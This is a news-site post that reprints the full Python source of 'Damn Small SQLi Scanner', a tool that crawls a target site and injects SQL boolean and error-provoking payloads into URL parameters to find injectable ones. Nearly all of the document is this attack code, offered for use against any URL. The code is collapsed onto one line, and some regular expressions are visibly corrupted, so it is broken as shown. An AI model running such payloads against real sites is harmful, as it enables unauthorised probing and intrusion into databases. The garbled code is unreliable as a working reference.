Damn Small SQLi Scanner (DSSS) v0.1b - 100 Lines Python Code
The Hacker News
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It happens from using Microsoft SQL or other poorly designed query language interpreters.


Source Code :
#!/usr/bin/env python import difflib, httplib, optparse, random, re, sys, urllib2, urlparse NAME = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)" VERSION = "0.1b" AUTHOR = "Miroslav Stampar (https://unconciousmind.blogspot.com | @stamparm)" LICENSE = "GPLv2 (www.gnu.org/licenses/gpl-2.0.html)" NOTE = "This is a fully working PoC proving that commercial (SQLi) scanners can be beaten under 100 lines of code (6 hours of work, boolean, error, level 1 crawl)" INVALID_SQL_CHAR_POOL = ['(',')','\'','"'] CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz") SUFFIXES = ["", "-- ", "#"] PREFIXES = [" ", ") ", "' ", "') "] BOOLEANS = ["AND %d=%d", "OR NOT (%d=%d)"] DBMS_ERRORS = {} DBMS_ERRORS["MySQL"] = [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."] DBMS_ERRORS["PostgreSQL"] = [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."] DBMS_ERRORS["Microsoft SQL Server"] = [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."] DBMS_ERRORS["Microsoft Access"] = [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"] DBMS_ERRORS["Oracle"] = [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"] DBMS_ERRORS["IBM DB2"] = [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"] DBMS_ERRORS["Informix"] = [r"Exception.*Informix"] DBMS_ERRORS["Firebird"] = [r"Dynamic SQL Error", r"Warning.*ibase_.*"] DBMS_ERRORS["SQLite"] = [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"] DBMS_ERRORS["SAP MaxDB"] = [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"] DBMS_ERRORS["Sybase"] = [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"] DBMS_ERRORS["Ingres"] = [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"] def getTextOnly(page): retVal = re.sub(r"(?s)|||<[^>]+>|\s", " ", page) retVal = re.sub(r"\s{2,}", " ", retVal) return retVal def retrieveContent(url): retVal = ["", httplib.OK, "", ""] # [filtered/textual page content, HTTP code, page title, full page content] try: retVal[3] = urllib2.urlopen(url.replace(" ", "%20")).read() except Exception, e: if hasattr(e, 'read'): retVal[3] = e.read() elif hasattr(e, 'msg'): retVal[3] = e.msg retVal[1] = e.code if hasattr(e, 'code') else None match = re.search(r"(?P<title>[^<]+)", retVal[3]) retVal[2] = match.group("title") if match else "" retVal[0] = getTextOnly(retVal[3]) return retVal def shallowCrawl(url): retVal = set([url]) page = retrieveContent(url)[3] for match in re.finditer(r"href\s*=\s*\"(?P[^\"]+)\"", page, re.I): link = urlparse.urljoin(url, match.group("href")) if link.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])): retVal.add(link) return retVal def scanPage(url): for link in shallowCrawl(url): print "* scanning: %s" % link for match in re.finditer(r"(?:[?&;])((?P\w+)=[^&;]+)", link): vulnerable = False tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL)))) content = retrieveContent(tampered) for dbms in DBMS_ERRORS: for regex in DBMS_ERRORS[dbms]: if not vulnerable and re.search(regex, content[0], re.I): print " (o) parameter '%s' could be SQLi vulnerable! (%s error message)" % (match.group('parameter'), dbms) vulnerable = True if not vulnerable: original = retrieveContent(link) a, b = random.randint(100, 255), random.randint(100, 255) for prefix in PREFIXES: for boolean in BOOLEANS: for suffix in SUFFIXES: if not vulnerable: template = "%s%s%s" % (prefix, boolean, suffix) payloads = (link.replace(match.group(0), match.group(0) + (template % (a, a))), link.replace(match.group(0), match.group(0) + (template % (a, b)))) contents = [retrieveContent(payloads[0]), retrieveContent(payloads[1])] if any(map(lambda x: original[x] == contents[0][x] != contents[1][x], [1, 2])) or len(original) == len(contents[0][0]) != len(contents[1][0]): vulnerable = True else: ratios = map(lambda x: difflib.SequenceMatcher(None, original[0], x).quick_ratio(), [contents[0][0], contents[1][0]]) vulnerable = ratios[0] > 0.95 and ratios[1] < 0.95 if vulnerable: print " (i) parameter '%s' appears to be SQLi vulnerable! (\"%s\")" % (match.group('parameter'), payloads[0]) if __name__ == "__main__": print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR) parser = optparse.OptionParser(version=VERSION) parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"https://www.target.com/page.htm?id=1\")") options, _ = parser.parse_args() if options.url: scanPage(options.url) else: parser.print_help()

Found this article interesting? Follow us on Twitter and LinkedIn to read more exclusive content we post.